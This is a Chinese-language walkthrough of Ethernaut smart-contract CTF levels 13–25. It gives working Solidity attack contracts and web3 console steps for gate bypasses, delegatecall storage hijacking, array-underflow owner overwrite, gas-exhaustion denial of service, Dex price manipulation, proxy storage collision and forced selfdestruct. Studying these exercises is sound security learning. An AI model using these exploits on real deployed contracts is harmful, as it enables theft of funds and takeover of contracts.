Ethernaut题解2022版(下)
字数 1461 2025-08-29 08:32:18
Ethernaut智能合约攻防题解(下)
13. Gatekeeper One
合约分析
contract GatekeeperOne {
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
require(uint32(uint64(_gateKey)) == uint16(tx.origin));
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
解题要点
-
gateOne绕过:
- 通过中间合约调用,使
msg.sender != tx.origin
- 通过中间合约调用,使
-
gateTwo绕过:
- 通过调试确定gas消耗量x
- 设置gas为
8191*n + x - 或者爆破gas值(推荐)
-
gateThree绕过:
- 第一部分:
0x????????0000????格式 - 第二部分:高4字节不全为0
- 第三部分:低2字节等于tx.origin地址的低2字节
- 第一部分:
攻击合约
contract attack {
function exploit() public {
bytes8 key = 0xAAAAAAAA00004261; // 最后4位替换为你的地址低2字节
for (uint256 i = 0; i < 120; i++) {
(bool result,) = target.call{gas: i + 150 + 8191 * 3}(
abi.encodeWithSignature("enter(bytes8)", key)
);
if (result) break;
}
}
}
14. Gatekeeper Two
合约分析
contract GatekeeperTwo {
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
}
}
解题要点
-
gateTwo绕过:
- 在构造函数中调用,此时
extcodesize为0
- 在构造函数中调用,此时
-
gateThree计算:
_gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1))
攻击合约
contract attack {
constructor(address _addr) public {
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
target.call(abi.encodeWithSignature("enter(bytes8)", key));
}
}
15. Naught Coin
合约分析
contract NaughtCoin is ERC20 {
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
}
}
}
解题要点
- 使用
transferFrom绕过transfer限制 - 先调用
approve授权
攻击步骤
await contract.approve(player, totalvalue);
await contract.transferFrom(player, secondaddr, totalvalue);
16. Preservation
合约分析
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
contract LibraryContract {
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
解题要点
- 通过
delegatecall修改timeZone1Library - 将
timeZone1Library指向恶意合约 - 恶意合约的
setTime修改owner
攻击合约
contract attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 a) public {
owner = address(a);
}
}
攻击步骤
- 调用
setFirstTime设置恶意合约地址 - 再次调用
setFirstTime设置owner地址
17. Recovery
解题要点
- 在Etherscan查找合约的Internal Txns
- 找到创建的SimpleToken合约地址
- 调用
destroy函数
攻击合约
contract attack {
function exploit() public {
target.call(abi.encodeWithSignature("destroy(address)", myaddr));
}
}
18. MagicNumber
解题要点
编写10字节的合约返回42:
-
Runtime代码 (10字节):
602a60505260206050f3- 将42(0x2a)存入memory
- 返回memory中的值
-
Initialization代码 (12字节):
600a600c600039600a6000f3- 复制runtime代码到memory
- 返回runtime代码
完整字节码
600a600c600039600a6000f3602a60505260206050f3
19. Alien Codex
合约分析
contract AlienCodex is Ownable {
bytes32[] public codex;
function retract() public {
codex.length--;
}
function revise(uint i, bytes32 _content) public {
codex[i] = _content;
}
}
解题要点
- 调用
retract使codex.length下溢 - 计算数组起始位置:
keccak256(1) - 计算覆盖slot0的索引:
2^256 - keccak256(1) - 调用
revise修改owner
攻击步骤
await contract.make_contact();
await contract.retract();
const index = BigInt(2**256) - BigInt(web3.utils.keccak256(web3.eth.abi.encodeParameters(['uint256'], [1])));
await contract.revise(index, "0x000000000000000000000001" + player.slice(2));
20. Denial
合约分析
contract Denial {
function withdraw() public {
partner.call{value: amountToSend}("");
owner.transfer(amountToSend);
}
}
解题要点
- 使
partner.call耗尽gas - 两种方法:
- 无限循环
assert(false)
攻击合约
contract attack {
fallback() external payable {
assert(false); // 或 while(true) {}
}
}
21. Shop
合约分析
contract Shop {
function buy() public {
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
解题要点
- 利用
isSold状态变化返回不同价格 - 使用
staticcall检查isSold
攻击合约
contract Buyer {
function price() external view returns (uint) {
bytes memory r;
(,r) = target.staticcall(abi.encodeWithSignature("isSold()"));
return uint8(r[31]) == 0 ? 100 : 1;
}
}
22. Dex
解题要点
- 利用整数除法精度损失
- 循环交换放大代币数量
攻击步骤
// 初始交换
await contract.swap(token1, token2, 10);
// 后续交换逐步放大
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
// 直到清空合约代币
23. Dex Two
解题要点
- 部署恶意ERC20代币
- 向Dex添加流动性
- 用恶意代币交换目标代币
攻击合约
contract Mytoken is ERC20 {
constructor(uint initialSupply) public ERC20("Mytoken", "MYT") {
_mint(msg.sender, initialSupply);
}
}
攻击步骤
await contract.add_liquidity(mytoken1, 100);
await contract.swap(mytoken1, token1, 100);
24. Puzzle Wallet
解题要点
- 通过Proxy修改
pendingAdmin影响owner - 多重调用
deposit放大余额 - 清空合约余额后修改
maxBalance
攻击步骤
// 1. 成为owner
await contract.proposeNewAdmin(player);
// 2. 多重调用deposit
const depositData = await contract.methods["deposit()"].request().then(v => v.data);
const multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data);
await contract.multicall([depositData, multicallData], {value: toWei('0.001')});
// 3. 提款并修改maxBalance
await contract.execute(player, toWei('0.002'), 0x0);
await contract.setMaxBalance(player);
25. Motorbike
解题要点
- 获取Engine合约地址
- 初始化Engine合约
- 通过
upgradeToAndCall自毁
攻击合约
contract attack {
constructor(address _addr) public {
// 1. 初始化成为upgrader
_addr.call(abi.encodeWithSignature("initialize()"));
// 2. 部署自毁合约并调用
DestructContract destruct = new DestructContract();
_addr.call(abi.encodeWithSignature(
"upgradeToAndCall(address,bytes)",
address(destruct),
abi.encodeWithSignature("destruct()")
));
}
}
contract DestructContract {
function destruct() external {
selfdestruct(msg.sender);
}
}